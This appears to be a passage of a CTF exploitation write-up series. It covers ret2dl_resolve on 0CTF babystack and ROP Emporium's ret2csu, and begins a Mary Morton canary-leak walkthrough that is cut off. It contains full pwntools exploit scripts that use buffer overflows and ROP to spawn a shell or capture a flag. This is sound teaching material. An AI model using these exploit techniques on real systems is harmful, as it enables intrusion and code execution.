So to scan in the full payload for the ret2dl, we won't be able to fit it into the initial 64 bytes worth of data. So we will have to be making another call to read. We will be scanning it into 0x804a020, which is the start of the bss. This is where we will store the things needed for the ret_2_dl_reslove:

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in

After that, we will jump back to the scanInput function, so we can re-exploit the bug again. This time we will just jump to 0x80482f0 with the arguments being rel_plt_entry_index and /bin/sh to call a shell.

Executing ret_2_dl_resolve

Now to actually execute the attack, we will be needing to create some fake entries. First, let's take a look at all of the sections in this binary. Also just to be clear, our goal is to run the libc system function:

$    readelf -S babystack
There are 29 section headers, starting at offset 0x1150:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804822c 00022c 000050 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804827c 00027c 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048288 000288 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             080482a8 0002a8 000008 08   A  5   0  4
  [10] .rel.plt          REL             080482b0 0002b0 000018 08  AI  5  24  4
  [11] .init             PROGBITS        080482c8 0002c8 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080482f0 0002f0 000040 04  AX  0   0 16
  [13] .plt.got          PROGBITS        08048330 000330 000008 00  AX  0   0  8
  [14] .text             PROGBITS        08048340 000340 0001b2 00  AX  0   0 16
  [15] .fini             PROGBITS        080484f4 0004f4 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        08048508 000508 000008 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        08048510 000510 000034 00   A  0   0  4
  [18] .eh_frame         PROGBITS        08048544 000544 0000ec 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 000018 04  WA  0   0  4
  [25] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804a020 001020 000004 00  WA  0   0  1
  [27] .comment          PROGBITS        00000000 001020 000034 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 001054 0000fa 00      0   0  1

We will be creating entries for the following sections:

.rel.plt     (Elf_Rel entry)
.dynsym     (Elf_Sym entry)
.dynstr

.rel.plt

The .rel.plt section is used for function relocation. The .rel.dyn is used for variable relocation. Let's take a look at this section:

$    readelf -r babystack

Relocation section '.rel.dyn' at offset 0x2a8 contains 1 entry:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000306 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x2b0 contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   alarm@GLIBC_2.0
0804a014  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

And in memory:

gef➤  x/8w 0x80482a8
0x80482a8:    0x08049ffc    0x00000306    0x0804a00c    0x00000107
0x80482b8:    0x0804a010    0x00000207    0x0804a014    0x00000407
gef➤  x/w 0x804a014
0x804a014 <__libc_start_main@got.plt>:    0xf7df7660
gef➤  x/w 0x804a010
0x804a010 <alarm@got.plt>:    0xf7e9e480

Also let's look at the code for one of the entries:

  Typedef struct {
  Elf32_Addr r_offset; // got.plt entry
  Elf32_Word r_info; // index from symbol table
  } Elf32_Rel;

So we can see that each entry contains two DWORDS. The first dword is the got.plt entry for the function. The second is it's r_info (which is it's index form the symbol table).

When we make our fake .rel.plt, we will need two things. The first is a fake got entry address to give it, which the libc address for system will be written to (I tried different got entry addresses, and it didn't really seem to affect it).

For the r_info value (which is the index to the dynsm entry), we will be needing to calculate that. Remember, we are storing these entries at the start of the bss. With how these entries work, the dynsm entry will be stored at start_of_bss + 0xc. When we look at the dynsym next, we see that the dynsm entries start at an offset of 0x10 from the start, and we see one every 0x10 bytes after it (until we reach the end). So in order to find the right r_info index, we will take the address of where .dynsym is stored (start_of_bss + 0xc), and subtract from it the start of the .dynsym segment, and divide it by 0x10. After that we will need to shift it over to the left by 0x8 (it's how the indexes are stored, you will see why that is).

.dynsym

This section contains a dynamic symbol link table. Let's take a look at this section of the binary in Ghidra:

                             //
                             // .dynsym
                             // SHT_DYNSYM  [0x80481cc - 0x804822b]
                             // ram: 080481cc-0804822b
                             //
                             __DT_SYMTAB                                     XREF[2]:     08049f60(*),
                                                                                          _elfSectionHeaders::000000d4(*)  
        080481cc 00 00 00        Elf32_Sy
                 00 00 00
                 00 00 00
           080481cc 00 00 00 00 00  Elf32_Sym                         [0]                               XREF[2]:     08049f60(*),
                    00 00 00 00 00                                                                                   _elfSectionHeaders::000000d4(*)  
                    00 00 00 00 00
              080481cc 00 00 00 00     ddw       0h                      st_name                           XREF[2]:     08049f60(*),
                                                                                                                        _elfSectionHeaders::000000d4(*)  
              080481d0 00 00 00 00     ddw       0h                      st_value
              080481d4 00 00 00 00     ddw       0h                      st_size
              080481d8 00              db        0h                      st_info
              080481d9 00              db        0h                      st_other
              080481da 00 00           dw        0h                      st_shndx
           080481dc 1a 00 00 00 00  Elf32_Sym                         [1]           read
                    00 00 00 00 00
                    00 00 12 00 00
           080481ec 1f 00 00 00 00  Elf32_Sym                         [2]           alarm
                    00 00 00 00 00
                    00 00 12 00 00
           080481fc 37 00 00 00 00  Elf32_Sym                         [3]           __gmon_start__
                    00 00 00 00 00
                    00 00 20 00 00
           0804820c 25 00 00 00 00  Elf32_Sym                         [4]           __libc_start_main
                    00 00 00 00 00
                    00 00 12 00 00
           0804821c 0b 00 00 00 0c  Elf32_Sym                         [5]           _IO_stdin_used
                    85 04 08 04 00
                    00 00 11 00 10

So we can see here, there are entries for the imported functions. Thing is the r_info values actually corresponds to the indexes here. The equation is index = (r_info >> 8). For instance above we saw that the r_info value for alarm was 0x00000207. This would correspond to and index of 0x207 >> 8 = 2, which we can see is the index to alarm.

Now for the values stored in the various entries that r_info maps to. Each entry contains 0x10 bytes, so 4 DWORDS. Now for everything that we will want libc to link, there is a string that represents the symbol we want to link, that we will give to libc. These are stored in the .dynstr section. The first DWORD represents the offset from the start of the section to that. The start of the .dynstr section is 0x804822c. We can see that the offset alarm gives us is 0x1f. We can see that 0x804822c + 0x1f = 0x804824b, which is the address of the .dynstr entry for alarm. For this value, we will just take where our .dynstr entry will be for system (a little bit after the start of the bss), and subtract it from the start of the .dynstr section, to get the offset. For what we are trying to do, we can just set the other 3 DWORDS to 0x0 (from what I've seen, as long as it's less than 0x100, it should work).

.dynstr

Now this section contains the strings for the symbols that we want to link. When we take a look at this section of the binary in Ghidra, we see this:

                             //
                             // .dynstr
                             // SHT_STRTAB  [0x804822c - 0x804827b]
                             // ram: 0804822c-0804827b
                             //
                             __DT_STRTAB                                     XREF[2]:     08049f58(*),
                                                                                          _elfSectionHeaders::000000fc(*)  
        0804822c 00              ??         00h
        0804822d 6c 69 62        ds         "libc.so.6"
                 63 2e 73
                 6f 2e 36 00
        08048237 5f 49 4f        ds         "_IO_stdin_used"
                 5f 73 74
                 64 69 6e
        08048246 72 65 61        ds         "read"
                 64 00
        0804824b 61 6c 61        ds         "alarm"
                 72 6d 00
        08048251 5f 5f 6c        ds         "__libc_start_main"
                 69 62 63
                 5f 73 74
        08048263 5f 5f 67        ds         "__gmon_start__"
                 6d 6f 6e
                 5f 73 74
        08048272 47 4c 49        ds         "GLIBC_2.0"
                 42 43 5f
                 32 2e 30 00

So we can see strings in there for read and alarm, so libc can link them. This essentially tells libc what to link. For this, we will just put the string system. The previous entry already took care of the index.

Also one last thing, since we need a pointer to /bin/sh, we will just store that at the end of the bss.

Time to ret 2 dl_resolve

So that will be the entries we store in the bss. We are ready to actually execute the ret_2_dl_resolve. Leaving off from the read call we made, we will end up back in the scanInput function which we will exploit the buffer overflow again to take control of eip. With that we will call the 0x80482f0 function (the one that is jumped to @ plt+6, and starts the linking process). We will pass it the .rel.plt index for our fake entry. Since our fake entry starts at the beginning of the bss (0x804a020), and this index is just the distance from the start of the .rel.plt section (0x80482b0) to the entry, this index will just be 0x804a020 - 0x80482b0 = 0x1d70. After that we will pass our arguments to the function, which in this case will just be the address of /bin/sh which we stored in the bss.

Exploit

Bringing it all together, we have the following exploit:

# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack

from pwn import *

target = process('./babystack')
#gdb.attach(target)

elf = ELF('babystack')

# Establish starts of various sections
bss = 0x804a020

dynstr = 0x804822c

dynsym = 0x80481cc

relplt = 0x80482b0

# Establish two functions

scanInput = p32(0x804843b)
resolve = p32(0x80482f0)

# Establish size of second payload

payload1_size = 43

# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug

payload0 = ""

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in


target.send(payload0)

# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack

# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7

# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr

paylaod1 = ""

# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)

# Empty
paylaod1 += p32(0x0)

# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3

# Our dynstr entry
paylaod1 += "system\x00"

# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"

target.send(paylaod1)

# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system

# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35

# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt


paylaod2 = ""

paylaod2 += "0"*44
paylaod2 += resolve                 # 0x80482f0
paylaod2 += p32(ret_plt_offset)        # .rel.plt offset
paylaod2 += p32(0xdeadbeef)            # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address)    # Our argument, address of "/bin/sh"

target.send(paylaod2)

# Enjoy the shell!
target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './babystack': pid 10847
[*] '/Hackery/pod/modules/ret2_csu_dl/0ctf18_babystack/babystack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
$ w
 23:51:29 up  6:59,  1 user,  load average: 0.18, 0.12, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               16:58   ?xdm?   8:04   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
babystack  exploit.py  readme.md

Just like that, we popped a shell!

ROPEmporium ret2csu

This writeup is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

Let's take a look at the binary:

$    file ret2csu
ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a799b370a24ba0109f1175f31b3058094b5feab5, not stripped
$    pwn checksec ret2csu
[*] '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./ret2csu
ret2csu by ROP Emporium

Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef

> 15935728

So we can see that we are dealing with a 64 bit binary with an NX stack. When we run it, we see that it prompts us for input.

Reversing

When we take a look at the main function, we see this:

undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  puts("ret2csu by ROP Emporium\n");
  pwnme();
  return 0;
}

We can see that this function essentially prints out some text, and calls pwnme:

void pwnme(void)

{
  char input [32];
 
  memset(input,0,0x20);
  puts("Call ret2win()");
  puts("The third argument (rdx) must be 0xdeadcafebabebeef");
  puts("");
  printf("> ");
  PTR_puts_00601018 = (undefined *)0x0;
  PTR_printf_00601028 = (undefined *)0x0;
  PTR_memset_00601030 = (undefined *)0x0;
  fgets(input,0xb0,stdin);
  PTR_fgets_00601038 = (undefined *)0x0;
  return;
}

So we can see that it allows us to scan in 0xb0 (176) bytes worth of data into a 32 byte space. So we have a buffer overflow bug here. Also another thing to note here, it zeroes out the got addresses for puts, printf, and memset. We can see that it asks us to call the ret2win function with the third argument (since it is x64 on linux, it is stored in the rdx register) being equal to 0xdeadcafebabebeef. When we take a look at the ret2win function, we see that it calls system:


/* WARNING: Restarted to delay deadcode elimination for space: stack */

void ret2win(void)

{
  undefined8 uVar1;
  undefined2 uVar2;
  undefined8 uVar3;
  undefined2 uVar4;
  undefined8 local_28;
  undefined local_20;
  undefined7 uStack31;
  undefined local_18;
  undefined uStack23;
  undefined7 *local_10;
 
  local_28 = 0xaacca9d1d4d7dcc0;
  local_10 = &uStack31;
  uVar3 = 0xd5bed0dddfd28920;
  local_20 = (undefined)uVar1;
  uStack31 = (undefined7)((ulong)uVar1 >> 8);
  uVar4 = 0xaa;
  local_18 = (undefined)uVar2;
  uStack23 = (undefined)((ushort)uVar2 >> 8);
  system((char *)&local_28);
  uVar2 = uVar4;
  uVar1 = uVar3;
  return;
}

Looking at the assembly code for the function, we see that it manipulates the argument stored in rdx and uses it as an argument for system. So the statement it said about The third argument (rdx) must be 0xdeadcafebabebeef is probably true.

Exploitation

So we will have to call ret2win with rdx being equal to 0xdeadcafebabebeef. However when we look at the rop gadgets we have to change the value of the rdx register, we come up a little short:

$    python ROPgadget.py --binary ret2csu | grep rdx
0x0000000000400567 : lea ecx, [rdx] ; and byte ptr [rax], al ; test rax, rax ; je 0x40057b ; call rax
0x000000000040056d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret

Since the code base for this challenge is pretty small (like most ctf challenges), and that it is dynamically compiled means we don't have a lot of ROP gadgets to use. So we will be using the ret_2_csu (ret_2_libc_csu_init) technique.

Ret_2_csu

This is pretty simple when we get down to it. The __libc_csu_init function is responsible for initializing the libc file. Essentially we will be pulling ROP gadgets from this function.

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined __libc_csu_init()
             undefined         AL:1           <RETURN>
                             __libc_csu_init                                 XREF[5]:     Entry Point(*),
                                                                                          _start:00400606(*),
                                                                                          _start:00400606(*), 00400978,
                                                                                          00400a70(*)  
        00400840 41 57           PUSH       R15
        00400842 41 56           PUSH       R14
        00400844 49 89 d7        MOV        R15,RDX
        00400847 41 55           PUSH       R13
        00400849 41 54           PUSH       R12
        0040084b 4c 8d 25        LEA        R12,[__frame_dummy_init_array_entry]             = 4006D0h
                 be 05 20 00
        00400852 55              PUSH       RBP
        00400853 48 8d 2d        LEA        RBP,[__do_global_dtors_aux_fini_array_entry]     = 4006A0h
                 be 05 20 00
        0040085a 53              PUSH       RBX
        0040085b 41 89 fd        MOV        R13D,EDI
        0040085e 49 89 f6        MOV        R14,RSI
        00400861 4c 29 e5        SUB        RBP,R12
        00400864 48 83 ec 08     SUB        RSP,0x8
        00400868 48 c1 fd 03     SAR        RBP,0x3
        0040086c e8 ef fc        CALL       _init                                            int _init(EVP_PKEY_CTX * ctx)
                 ff ff
        00400871 48 85 ed        TEST       RBP,RBP
        00400874 74 20           JZ         LAB_00400896
        00400876 31 db           XOR        EBX,EBX
        00400878 0f 1f 84        NOP        dword ptr [RAX + RAX*0x1]
                 00 00 00
                 00 00
                             LAB_00400880                                    XREF[1]:     00400894(j)  
        00400880 4c 89 fa        MOV        RDX,R15
        00400883 4c 89 f6        MOV        RSI,R14
        00400886 44 89 ef        MOV        EDI,R13D
        00400889 41 ff 14 dc     CALL       qword ptr [R12 + RBX*0x8]=>->frame_dummy         undefined frame_dummy()
                                                                                             = 4006D0h
                                                                                             = 4006A0h
                                                                                             undefined __do_global_dtors_aux()
        0040088d 48 83 c3 01     ADD        RBX,0x1
        00400891 48 39 dd        CMP        RBP,RBX
        00400894 75 ea           JNZ        LAB_00400880
                             LAB_00400896                                    XREF[1]:     00400874(j)  
        00400896 48 83 c4 08     ADD        RSP,0x8
        0040089a 5b              POP        RBX
        0040089b 5d              POP        RBP
        0040089c 41 5c           POP        R12
        0040089e 41 5d           POP        R13
        004008a0 41 5e           POP        R14
        004008a2 41 5f           POP        R15
        004008a4 c3              RET

From this function, there are two rop gadgets that we will be pulling from.

This one will allow us to control various registers:

        0040089a 5b              POP        RBX
        0040089b 5d              POP        RBP
        0040089c 41 5c           POP        R12
        0040089e 41 5d           POP        R13
        004008a0 41 5e           POP        R14
        004008a2 41 5f           POP        R15
        004008a4 c3              RET

This one will allow us to control the RDX, RSI, and EDI registers:

        00400880 4c 89 fa        MOV        RDX,R15
        00400883 4c 89 f6        MOV        RSI,R14
        00400886 44 89 ef        MOV        EDI,R13D
        00400889 41 ff 14 dc     CALL       qword ptr [R12 + RBX*0x8]=>->frame_dummy         undefined frame_dummy()
                                                                                             = 4006D0h
                                                                                             = 4006A0h
                                                                                             undefined __do_global_dtors_aux()
        0040088d 48 83 c3 01     ADD        RBX,0x1
        00400891 48 39 dd        CMP        RBP,RBX
        00400894 75 ea           JNZ        LAB_00400880

However the thing is with this gadget, it doesn't end in a ret (at least not immediately after the MOV instructions we need) so we will have to trace through and make sure the rest of the code until it hits a RET, and make sure there isn't anything that causes an issue. With the first gadget, we can assign a value to R15, which with the second gadget we will copy it's value to the RDX register. Looking at the full code path for the second gadget, we see this:

                             LAB_00400880                                    XREF[1]:     00400894(j)  
        00400880 4c 89 fa        MOV        RDX,R15
        00400883 4c 89 f6        MOV        RSI,R14
        00400886 44 89 ef        MOV        EDI,R13D
        00400889 41 ff 14 dc     CALL       qword ptr [R12 + RBX*0x8]=>->frame_dummy         undefined frame_dummy()
                                                                                             = 4006D0h
                                                                                             = 4006A0h
                                                                                             undefined __do_global_dtors_aux()
        0040088d 48 83 c3 01     ADD        RBX,0x1
        00400891 48 39 dd        CMP        RBP,RBX
        00400894 75 ea           JNZ        LAB_00400880
                             LAB_00400896                                    XREF[1]:     00400874(j)  
        00400896 48 83 c4 08     ADD        RSP,0x8
        0040089a 5b              POP        RBX
        0040089b 5d              POP        RBP
        0040089c 41 5c           POP        R12
        0040089e 41 5d           POP        R13
        004008a0 41 5e           POP        R14
        004008a2 41 5f           POP        R15
        004008a4 c3              RET

So a few conditions we will need to meet. The first we have to ensure that [R12 + RBX*0x8] resolves to a pointer to a valid instruction pointer. After that, we need to ensure that RBP and RBX are equal to each other (after RBX is incremented by one) otherwise it will jump to LAB_00400880 and rerun our gadget. After that the first gadget runs which ends in a RET instruction, however we need to ensure that there are values on the stack for the POP instructions.

For the function we are calling we will call _init. The reason why I call this function instead of other function, is this one doesn't crash when I call it in this context. Let's find a pointer to it's address.

When we check the address of _init in ghidra, we see that it is 0x400560:

                             //
                             // .init
                             // SHT_PROGBITS  [0x400560 - 0x400576]
                             // ram: 00400560-00400576
                             //
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             int __stdcall _init(EVP_PKEY_CTX * ctx)
             int               EAX:4          <RETURN>
             EVP_PKEY_CTX *    RDI:8          ctx
                             __DT_INIT                                       XREF[4]:     Entry Point(*),
                             _init                                                        __libc_csu_init:0040086c(c),
                                                                                          00600e38(*),
                                                                                          _elfSectionHeaders::000002d0(*)  
        00400560 48 83 ec 08     SUB        RSP,0x8

We can find a pointer to it using gdb:

gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
  0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
  0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"

Or we can find it using the DYAMIC variable:

gef➤  x/4g &_DYNAMIC
0x600e20:    0x0000000000000001    0x0000000000000001
0x600e30:    0x000000000000000c    0x0000000000400560

So the value we will set R12 will be 0x600e38, which will end up calling _init. We will set RBX to zero, that way it doesn't interfere with the call. For the compare it will be incremented to 1, so we will need to set RBP to 1 to pass it. After that we will just need filler values for the rest of the POPS. After that we can just call ret2win, and do to our previous work we will have RBX set to 0xdeadcafebabebeef.

Exploit

Putting it all together, we have the following exploit:

# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
    
# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './ret2csu': pid 17309
[*] Switching to interactive mode
ret2csu by ROP Emporium

Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef

> ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
[*] Process './ret2csu' stopped with exit code -11 (SIGSEGV) (pid 17309)
[*] Got EOF while sending in interactive

Just like that, we got the flag!

ret2system

Mary Morton

So after we download and extract the file, we have a binary. Let's take a look at the binary (also one thing, I slightly modified this binary, but we'll cover that in more detail later):

$    file mary_morton
mary_morton: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b7971b84c2309bdb896e6e39073303fc13668a38, stripped
$    pwn checksec mary_morton
[*] '/Hackery/asis/mary/mary_morton'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

So we see that it is a 64 bit Elf, with a stack canary and non executable stack. Let's see what happens when we run the binary:

$    ./mary_morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
%x.%x.%x.%x.%x
c743ca40.7f.14b4a890.0.0
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
Alarm clock

So we see we are given a prompt for a Buffer Overflow, format string, or just to exit the battle. We confirmed that the format string bug indeed works with the %x flags. We can also that there is an alarm feature which will kill the program after a set amount of time. We can run it in gdb, that way when the Alarm Clock triggers it won't kill the program.

gef➤  r
Starting program: /Hackery/pod/modules/ret_2_system/asis17_marymorton/mary_morton 
Welcome to the battle ! 
[Great Fairy] level pwned 
Select your weapon 
1. Stack Bufferoverflow Bug 
2. Format String Bug 
3. Exit the battle 
1
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
-> 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
�;U���7P
@
*** stack smashing detected ***: <unknown> terminated

So we also verified that the buffer overflow bug is legit. Let's take a look at the binary in Ghidra.

Reversing

Looking through the list of functions in Ghidra, we find this one at 0x400826:


void menu(void)

{
  int choice;
  
  FUN_004009ff();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  puts("Select your weapon ");
  while( true ) {
    while( true ) {
      printMenu();
      __isoc99_scanf(&DAT_00400b1c,&choice);
      if (choice != 2) break;
      fmtBug();
    }
    if (choice == 3) break;
    if (choice == 1) {
      overflowBug();
    }
    else {
      puts("Wrong!");
    }
  }
  puts("Bye ");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

So we can see here the function prints out the starting prompt, then enters into a loop where it will print out the menu options, then scan in input. Based upon the input, it will either trigger the fmtBug function, overflowBug function, or just exit the program. Let's take a look at the fmtBug function.

void fmtBug(void)

{
  long i;
  undefined8 *inputCpy;
  long in_FS_OFFSET;
  undefined8 input [17];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  i = 0x10;
  inputCpy = input;
  while (i != 0) {
    i = i + -1;
    *inputCpy = 0;
    inputCpy = inputCpy + 1;
  }
  read(0,input,0x7f);
  printf((char *)input);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

So we can see here, it pretty much does what we expected. It first clears out a space of memory, then scans in input to that space (0x7f bytes). Proceeding that it prints it unformatted using printf to have a format string vulnerability. Let's take a look at the overflowBug:

void overflowBug(void)

{
  long i;
  undefined8 *inputCpy;
  long in_FS_OFFSET;
  undefined8 input [17];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  i = 0x10;
  inputCpy = input;
  while (i != 0) {
    i = i + -1;
    *inputCpy = 0;
    inputCpy = inputCpy + 1;
  }
  read(0,input,0x100);
  printf("-> %s\n",input);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Looking at this, we can see that it reads in 0x100 (256) bytes of data into the buffer that Ghidra says only has 17 bytes. Thing is, when we look at the stack layout we see that the buffer is bigger than that:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined overflowBug()
             undefined         AL:1           <RETURN>
             long              RCX:8          i                                       XREF[1]:     00400986(W)  
             undefined8 *      RDI:8          inputCpy                                XREF[1]:     0040098e(W)  
             long              Stack[-0x10]:8 canary                                  XREF[2]:     00400974(W), 
                                                                                                   004009c4(R)  
             undefined8[17]    Stack[-0x98]   input                                   XREF[3]:     0040097a(*), 
                                                                                                   00400991(*), 
                                                                                                   004009aa(*)  
                             overflowBug                                     XREF[3]:     menu:004008a7(c), 00400bc0, 
                                                                                          00400cc0(*)  
        00400960 55              PUSH       RBP

So we can see that input is at offset -0x98, and that canary is at offset -0x10. That gives us 0x98 - 0x10 = 0x88 byte offset. Since we can scan in 0x100 bytes this is is a buffer overflow bug. Also after it scans in the input, it prints the data you scanned in. So we should be able to use the buffer overflow vulnerability to pop a shell. However our first hurdle will be to defeat the stack canary.

Exploitation

In order to reach the return address to gain code flow execution, we will have to write over the stack canary. Before we do that, we will need to leak the stack canary, so we can write over the stack canary with itself. That way when the stack canary is checked, everything will check out. We should be able to accomplish this using the format string exploit to leak an address. Also as a sidenote we could probably use the buffer overflow function to leak the stack canary, by overflowing up right up to the stack canary. Then when it prints out the input it leaks the stack canary. However the issue with that is that we would need to overwrite the null byte of the stack canary, and it would check the canary before we had a chance to correct it. So I went for using the format string bug to leak the canary. We can find the offset for the format string to the stack canary using gdb.

First set a breakpoint for the stack canary check in the format_string_vuln function, then run that function, then leak a bunch of 8 byte hex strings:

gef➤  b *0x40094a
Breakpoint 1 at 0x40094a
gef➤  r
Starting program: /Hackery/pod/modules/ret_2_system/asis17_marymorton/mary_morton 
Welcome to the battle ! 
[Great Fairy] level pwned 
Select your weapon 
1. Stack Bufferoverflow Bug 
2. Format String Bug 
3. Exit the battle 
2
